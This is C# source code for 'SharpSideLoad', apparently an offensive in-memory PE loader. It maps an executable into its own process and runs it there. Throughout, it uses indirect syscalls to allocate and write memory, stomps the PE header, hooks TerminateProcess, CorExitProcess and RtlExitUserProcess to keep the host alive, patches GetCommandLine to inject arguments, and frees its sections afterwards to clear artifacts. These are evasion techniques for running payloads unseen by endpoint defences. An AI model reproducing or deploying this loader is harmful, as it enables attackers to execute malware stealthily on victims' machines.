threading gets funky. assume jit tripping is being used here.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Xml.Linq;
using static SharpSideLoad.Delegates;
using static SharpSideLoad.Structs;

namespace SharpSideLoad
{

    //Thanks apollo
    public class PeLoader
    {
        public byte[] rawbytes;
        public int size;
        dll ntdll;
        // General PE stuff
        public Structs.Win32.IMAGE_DOS_HEADER dosHeader;
        public Structs.Win32.IMAGE_FILE_HEADER fileHeader;
        public Structs.Win32.IMAGE_OPTIONAL_HEADER64 optionalHeader;
        public Structs.Win32.IMAGE_SECTION_HEADER[] imageSectionHeaders;
        public IntPtr peBase = IntPtr.Zero;
        public List<String> originalModules = new List<String>();

        // To prevent thread exiting from killing the process
        byte[] terminateProcessOriginalBytes;
        byte[] corExitProcessOriginalBytes;
        byte[] ntTerminateProcessOriginalBytes;
        byte[] rtlExitUserProcessOriginalBytes;

        // For arg fixing
        public string fileName;
        public string[] args;
        byte[] originalCommandLineFuncBytes;
        string commandLineFunc;

        //Additional artifacts to clear at the end
        public Dictionary<IntPtr, uint> sectionAddresses = new Dictionary<IntPtr, uint>();

        /// <summary>
        /// Reads and parses properties of the PE from disc. Temporarily writes into memory.
        /// </summary>
        /// <param name="ntdll"></param> An ntdll instance for indirect syscalls
        /// <param name="pe"></param> PE byte array
        public PeLoader(dll ntdll, byte[] pe, string fileName, string[] args)
        {
            this.ntdll = ntdll;
            this.fileName = fileName;
            this.args = args;
            rawbytes = pe;

            IntPtr tmpPtrDosHeader = IntPtr.Zero;
            object[] argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), tmpPtrDosHeader, IntPtr.Zero, (IntPtr)pe.Length, Structs.Win32.Enums.AllocationType.Commit | Structs.Win32.Enums.AllocationType.Reserve, Structs.Win32.Enums.MemoryProtection.ReadWrite};
            ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory); //Allocate space for the PE
            tmpPtrDosHeader = (IntPtr)argsNtAllocateVirtualMemory[1];

            var unmanagedBytes = GCHandle.Alloc(rawbytes, GCHandleType.Pinned);
            ntdll.indirectSyscallInvoke<Delegates.NtWriteVirtualMemory>("NtWriteVirtualMemory", new object[] { (IntPtr)(-1), tmpPtrDosHeader, unmanagedBytes.AddrOfPinnedObject(), (uint)pe.Length, (uint)0});
            unmanagedBytes.Free();

            dosHeader = (Structs.Win32.IMAGE_DOS_HEADER)Marshal.PtrToStructure(tmpPtrDosHeader, typeof(Structs.Win32.IMAGE_DOS_HEADER));

            IntPtr tmpPtrFileHeader = IntPtr.Add(tmpPtrDosHeader, (int)dosHeader.e_lfanew+4); //FileHeader is 4 bytes into the NT header
            fileHeader = (Structs.Win32.IMAGE_FILE_HEADER)Marshal.PtrToStructure(tmpPtrFileHeader, typeof(Structs.Win32.IMAGE_FILE_HEADER));

            IntPtr tmpPtrOptionalHeader = IntPtr.Add(tmpPtrFileHeader, 20);
            optionalHeader = (Structs.Win32.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(tmpPtrOptionalHeader, typeof(Structs.Win32.IMAGE_OPTIONAL_HEADER64));

            imageSectionHeaders = new Structs.Win32.IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (int i = 0; i < imageSectionHeaders.Length; i++)
            {
                IntPtr tmpPtrImageSectionHeader = IntPtr.Zero;
                if (i == 0) tmpPtrImageSectionHeader = IntPtr.Add(tmpPtrOptionalHeader, Marshal.SizeOf(optionalHeader));
                else tmpPtrImageSectionHeader = IntPtr.Add(tmpPtrOptionalHeader, Marshal.SizeOf(optionalHeader) + Marshal.SizeOf(imageSectionHeaders[i-1])*i);
                imageSectionHeaders[i] = (Structs.Win32.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(tmpPtrImageSectionHeader, typeof(Structs.Win32.IMAGE_SECTION_HEADER));
            }

            Console.WriteLine("Base of PE is at 0x{0:X}", (long)tmpPtrDosHeader);
            Console.WriteLine("Nt headers at 0x{0:X}", (long)IntPtr.Add(tmpPtrFileHeader, -4));
            Console.WriteLine("Opt headers at 0x{0:X}", (long)tmpPtrOptionalHeader);
            ntdll.indirectSyscallInvoke<Delegates.NtFreeVirtualMemory>("NtFreeVirtualMemory", new object[] { (IntPtr)(-1), tmpPtrDosHeader, (IntPtr)Marshal.SizeOf(dosHeader), (uint)0x8000 });//Stomp header
            Map();
            ImportResolver();
        }
        public void Map()
        {
            object[] argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), peBase, IntPtr.Zero, (IntPtr)optionalHeader.SizeOfImage, Structs.Win32.Enums.AllocationType.Commit, Structs.Win32.Enums.MemoryProtection.ReadWrite };
            ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory);
            peBase = (IntPtr)argsNtAllocateVirtualMemory[1];

            // Copy Sections
            for (int i = 0; i < fileHeader.NumberOfSections; i++)
            {
                IntPtr sectionLocation = IntPtr.Add(peBase, (int)imageSectionHeaders[i].VirtualAddress);
                argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), sectionLocation, IntPtr.Zero, (IntPtr)imageSectionHeaders[i].SizeOfRawData, Structs.Win32.Enums.AllocationType.Commit, Win32.Enums.PAGE_READWRITE };
                ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory);
                sectionLocation = (IntPtr)argsNtAllocateVirtualMemory[1];
#if debug
                Console.WriteLine("Copying {0} to 0x{1:X}", new string(imageSectionHeaders[i].Name), (long)sectionLocation);
#endif

                var unmanagedBytes = GCHandle.Alloc(rawbytes.ToList().GetRange((int)imageSectionHeaders[i].PointerToRawData, (int)imageSectionHeaders[i].SizeOfRawData).ToArray(), GCHandleType.Pinned);
                ntdll.indirectSyscallInvoke<Delegates.NtWriteVirtualMemory>("NtWriteVirtualMemory", new object[] { (IntPtr)(-1), sectionLocation, unmanagedBytes.AddrOfPinnedObject(), (uint)imageSectionHeaders[i].SizeOfRawData, (uint)0 });
                sectionAddresses.Add(sectionLocation, imageSectionHeaders[i].SizeOfRawData);
                unmanagedBytes.Free();

            }

            // Base Relocations
            long delta = (long)peBase - (long)optionalHeader.ImageBase;
            IntPtr pRelocationTable = IntPtr.Add(peBase, (int)optionalHeader.BaseRelocationTable.VirtualAddress);
            Structs.Win32.IMAGE_BASE_RELOCATION relocationEntry = (Structs.Win32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocationTable, typeof(Structs.Win32.IMAGE_BASE_RELOCATION));

            // Starting values
            int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(Structs.Win32.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry = pRelocationTable;
            int sizeOfNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset = pRelocationTable;
            while (true)
            {

                IntPtr pRelocationTableNextBlock = IntPtr.Add(pRelocationTable, sizeOfNextBlock);
                Structs.Win32.IMAGE_BASE_RELOCATION nextRelocationEntry = (Structs.Win32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocationTableNextBlock, typeof(Structs.Win32.IMAGE_BASE_RELOCATION));
                IntPtr pRelocationEntry = IntPtr.Add(peBase, (int)relocationEntry.VirtualAdress);
#if debug
                Console.WriteLine("Section Has {0} Entries",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                Console.WriteLine("Next Section Has {0} Entries", (int)(nextRelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
#endif
                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) // TODO figure out magic numbers
                {
                    UInt16 value = (ushort)Marshal.ReadInt16(offset, 8 + 2 * i); // TODO figure out magic numbers
                    UInt16 type = (ushort)(value >> 12); // TODO figure out magic numbers
                    UInt16 fixup = (ushort)(value & 0xfff); // TODO figure out magic numbers

                    switch (type)
                    {
                        case 0x0:
                            break;
                        case 0xA:
                            var patchAddress = (IntPtr)(pRelocationEntry.ToInt64() + fixup);
                            var originalAddr = Marshal.ReadInt64(patchAddress);
                            Marshal.WriteInt64(patchAddress, originalAddr + delta);
                            break;
                    }
                }
                offset = (IntPtr)(pRelocationTable.ToInt64() + sizeOfNextBlock);
                sizeOfNextBlock += (int)nextRelocationEntry.SizeOfBlock;
                relocationEntry = nextRelocationEntry;
                nextEntry = (IntPtr)(nextEntry.ToInt64() + sizeOfNextBlock);

                if (nextRelocationEntry.SizeOfBlock == 0) break;
            }

            return;
        }
        public void ImportResolver()
        {
            int IDT_SINGLE_ENTRY_LENGTH = 20; // Each Import Directory Table entry is 20 bytes long <https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table>
            int IDT_IAT_OFFSET = 16; // Offset in IDT to Relative Virtual Address to the Import Address Table for this DLL
            int IDT_DLL_NAME_OFFSET = 12; // Offset in IDT to DLL name for this DLL
            int ILT_HINT_LENGTH = 2; // Length of the 'hint' prefix to the function name in the ILT/IAT

            var currentProcess = Process.GetCurrentProcess();
            foreach (ProcessModule module in currentProcess.Modules)
            {
                originalModules.Add(module.ModuleName);
            }

            // Resolve Imports
            IntPtr pIDT = IntPtr.Add(peBase, (int)optionalHeader.ImportTable.VirtualAddress);
            int dllIterator = 0;
            while (true)
            {
                IntPtr pDllImportTableEntry = IntPtr.Add(pIDT, IDT_SINGLE_ENTRY_LENGTH * dllIterator);

                int iatRVA = Marshal.ReadInt32(pDllImportTableEntry, IDT_IAT_OFFSET);
                IntPtr pIAT = IntPtr.Add(peBase, iatRVA);

                int dllNameRVA = Marshal.ReadInt32(IntPtr.Add(pDllImportTableEntry, IDT_DLL_NAME_OFFSET));
                IntPtr pDllname = IntPtr.Add(peBase, dllNameRVA);
                string dllName = Marshal.PtrToStringAnsi(pDllname);

                if (string.IsNullOrEmpty(dllName)) break;

                IntPtr moduleHandle = IntPtr.Zero;
                object[] argsLdrLoadDLL = new object[] { dllName };
                moduleHandle = (IntPtr)Utils.dynamicAPIInvoke<Delegates.LoadLibraryA>("kernel32.dll", "LoadLibraryA", argsLdrLoadDLL);        

                IntPtr pCurrentIATEntry = pIAT;
                while (true) // For each DLL iterate over its functions in the IAT and patch the IAT with the real address <https://tech-zealots.com/malware-analysis/journey-towards-import-address-table-of-an-executable-file/>
                {
                    IntPtr pDllFuncName = IntPtr.Add(peBase, Marshal.ReadInt32(pCurrentIATEntry) + ILT_HINT_LENGTH);
                    string dllFuncName = Marshal.PtrToStringAnsi(pDllFuncName);
                    if (string.IsNullOrEmpty(dllFuncName)) break;

                    IntPtr pRealFunction = Utils.getFuncLocation(moduleHandle, dllFuncName);
                    if (pRealFunction == IntPtr.Zero) break;
                    else Marshal.WriteInt64(pCurrentIATEntry, pRealFunction.ToInt64());

                    //Console.WriteLine("Function {0}", dllFuncName);
                    pCurrentIATEntry = IntPtr.Add(pCurrentIATEntry, IntPtr.Size); // Shift the current entry to point to the next entry along, as each entry is just a pointer this is one IntPtr.Size
                }
                dllIterator++;
            }
            PatchExit();
        }
        public void PatchExit()
        {
            IntPtr pExitThread = Utils.getFuncLocation("kernelbase", "ExitThread");
            /*
                mov rcx, 0x0 #takes first arg
                mov rax, <ExitThread> # 
                push rax
                ret
            */
            List<byte> exitThreadPatchBytes = new List<byte>() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
            byte[] pExitThreadAsByes = BitConverter.GetBytes((long)pExitThread);
            exitThreadPatchBytes.AddRange(pExitThreadAsByes);
            exitThreadPatchBytes.Add(0x50);
            exitThreadPatchBytes.Add(0xC3);

            terminateProcessOriginalBytes = Utils.PatchFunction(ntdll, "kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
            corExitProcessOriginalBytes = Utils.PatchFunction(ntdll, "mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
            rtlExitUserProcessOriginalBytes = Utils.PatchFunction(ntdll,"ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray());
            
            UpdateArgs();
        }
        public void UpdateArgs()
        {
            bool PatchGetCommandLineFunc(dll ntdll, string newCommandLineString)
            {
                IntPtr pCommandLineString = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineW", new object[] { });
                string commandLineString = Marshal.PtrToStringAuto(pCommandLineString);
#if debug
                IntPtr pCommandLineStringA = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineA", new object[] { });
                string commandLineStringA = Marshal.PtrToStringAuto(pCommandLineStringA);
                Console.WriteLine($"Wide: {commandLineString}, length is {commandLineString.Length}");
                for (int i = 0; i < commandLineString.Length; i++)
                {
                    Console.WriteLine($"Wide byte {i} is {Marshal.ReadByte(IntPtr.Add(pCommandLineString, i))}");
                }
                Console.WriteLine($"Ansi: {commandLineStringA}, length is {commandLineStringA.Length}");
                for (int i = 0; i < commandLineStringA.Length; i++)
                {
                    Console.WriteLine($"Ansi byte {i} is {Marshal.ReadByte(IntPtr.Add(pCommandLineStringA, i))}");
                }
#endif

                Encoding _encoding = Encoding.UTF8;

                if (commandLineString != null)
                {
                    var stringBytes = new byte[commandLineString.Length];

                    // Copy the command line string bytes into an array and check if it contains null bytes (so if it is wide or not
                    Marshal.Copy(pCommandLineString, stringBytes, 0, commandLineString.Length); // Even if ASCII won't include null terminating byte

                    if (!new List<byte>(stringBytes).Contains(0x00)) _encoding = Encoding.ASCII; // At present assuming either ASCII or UTF8

#if DEBUG
                    // Print the string bytes and what the encoding was determined to be
                    var stringBytesHexString = "";
                    foreach (var x in stringBytes)
                    {
                        stringBytesHexString += x.ToString("X") + " ";
                    }

                    Console.WriteLine($"[*] String bytes: {stringBytesHexString}");
                    Console.WriteLine($"[*] String encoding determined to be: {_encoding}");
#endif
                }

                // Set the GetCommandLine func based on the determined encoding
                commandLineFunc = _encoding.Equals(Encoding.ASCII) ? "GetCommandLineA" : "GetCommandLineW"; // We're always reading GetCommandLineW so idk why this matters

#if DEBUG
                Console.WriteLine($"Patching {commandLineFunc} because Encoding is {_encoding}");
                Console.WriteLine($"[*] Old GetCommandLine return value: {Marshal.PtrToStringAuto(pCommandLineString)}");
#endif
                // Write the new command line string into memory
                IntPtr pNewString = _encoding.Equals(Encoding.ASCII)
                    ? Marshal.StringToHGlobalAnsi(newCommandLineString)
                    : Marshal.StringToHGlobalUni(newCommandLineString);
#if DEBUG
                Console.WriteLine($"[*] New String Address: 0x{pNewString.ToInt64():X}");
#endif
                // Create the patch bytes that provide the new string pointer
                var patchBytes = new List<byte>() { 0x48, 0xB8 }; // TODO architecture
                var pointerBytes = BitConverter.GetBytes(pNewString.ToInt64());

                patchBytes.AddRange(pointerBytes);

                patchBytes.Add(0xC3);

                // Patch the GetCommandLine function to return the new string
                originalCommandLineFuncBytes = Utils.PatchFunction(ntdll, "kernelbase", commandLineFunc, patchBytes.ToArray());
                if (originalCommandLineFuncBytes == null) return false;

#if DEBUG
                var pNewCommandLineString = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineW", new object[] { }); ;
                Console.WriteLine($"[*] New GetCommandLine return value: {Marshal.PtrToStringAuto(pNewCommandLineString)}");
#endif
                return true;
            }

            string newCommandLineString = $"\\"{fileName}\\" {string.Join(" ", args)}";
 
            // Patching GetCommandLine and running the PE
            PatchGetCommandLineFunc(ntdll, newCommandLineString);
            RunPE();
            
        }
        public void RunPE()
        {
            // Adjusting memory protections before takeoff
            for (int i = 0; i < fileHeader.NumberOfSections; i++)
            {
                IntPtr sectionLocation = IntPtr.Add(peBase, (int)imageSectionHeaders[i].VirtualAddress);
                
                uint memProtectionConstant = 0;
                Structs.Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS sectionProtect = (Structs.Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS)imageSectionHeaders[i].Characteristics;

                if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
                    memProtectionConstant = Win32.Enums.PAGE_EXECUTE_READWRITE;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE))
                    memProtectionConstant = Win32.Enums.PAGE_EXECUTE_READ;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
                    memProtectionConstant = Win32.Enums.PAGE_READWRITE;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
                    memProtectionConstant = Win32.Enums.PAGE_EXECUTE_WRITECOPY;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
                    memProtectionConstant = Win32.Enums.PAGE_WRITECOPY;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE))
                    memProtectionConstant = Win32.Enums.PAGE_EXECUTE;
                else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ))
                    memProtectionConstant = Win32.Enums.PAGE_READONLY;
                
                object[] argsNtProtectVirtualMemory = new object[] { (IntPtr)(-1), sectionLocation, (IntPtr)imageSectionHeaders[i].SizeOfRawData, memProtectionConstant, (uint)0 }; //fixing the 
                ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", argsNtProtectVirtualMemory);
            }
            
            IntPtr threadStartAddress = IntPtr.Add(peBase, (int)optionalHeader.AddressOfEntryPoint);
            IntPtr threadHandle = IntPtr.Zero;

            object[] argsNtCreateThreadEx = new object[] { threadHandle, Structs.Win32.Enums.ACCESS_MASK.GENERIC_ALL, IntPtr.Zero, Process.GetCurrentProcess().Handle, threadStartAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero };
            ntdll.indirectSyscallInvoke<Delegates.NtCreateThreadEx>("NtCreateThreadEx", argsNtCreateThreadEx);

            threadHandle = (IntPtr)argsNtCreateThreadEx[0];

            //Utils.dynamicAPIInvoke<Delegates.WaitForSingleObject>("kernel32.dll", "WaitForSingleObject", new object[] { threadHandle, (uint)5000});
            //ntdll.indirectSyscallInvoke<Delegates.NtWaitForSingleObject>("NtWaitForSingleObject", new object[] { threadHandle, true,(uint)0 });
            Structs.LargeInteger li = new Structs.LargeInteger();
            long second = -10000000L;
            li.QuadPart = 5*second;
            IntPtr ptr =  Marshal.AllocHGlobal(Marshal.SizeOf(li));
            Marshal.StructureToPtr(li, ptr, true);

            ntdll.indirectSyscallInvoke<Delegates.NtWaitForSingleObject>("NtWaitForSingleObject", new object[] { threadHandle, false, ptr  });
            Console.WriteLine("bruh2");
            ReturnPatches();
            foreach (var section in sectionAddresses)
            {
                ntdll.indirectSyscallInvoke<Delegates.NtFreeVirtualMemory>("NtFreeVirtualMemory", new object[] { (IntPtr)(-1), section.Key, (IntPtr)section.Value, (uint)0x8000 });
            }
        }
        public void ReturnPatches()
        {
            Utils.PatchFunction(ntdll, "kernelbase", commandLineFunc, originalCommandLineFuncBytes.ToArray());
            Utils.PatchFunction(ntdll, "kernelbase", "TerminateProcess", terminateProcessOriginalBytes.ToArray());
            Utils.PatchFunction(ntdll, "mscoree", "CorExitProcess", corExitProcessOriginalBytes.ToArray());
            Utils.PatchFunction(ntdll, "ntdll", "RtlExitUserProcess", rtlExitUserProcessOriginalBytes.ToArray());
            Console.WriteLine("reverted");
        }
    }
}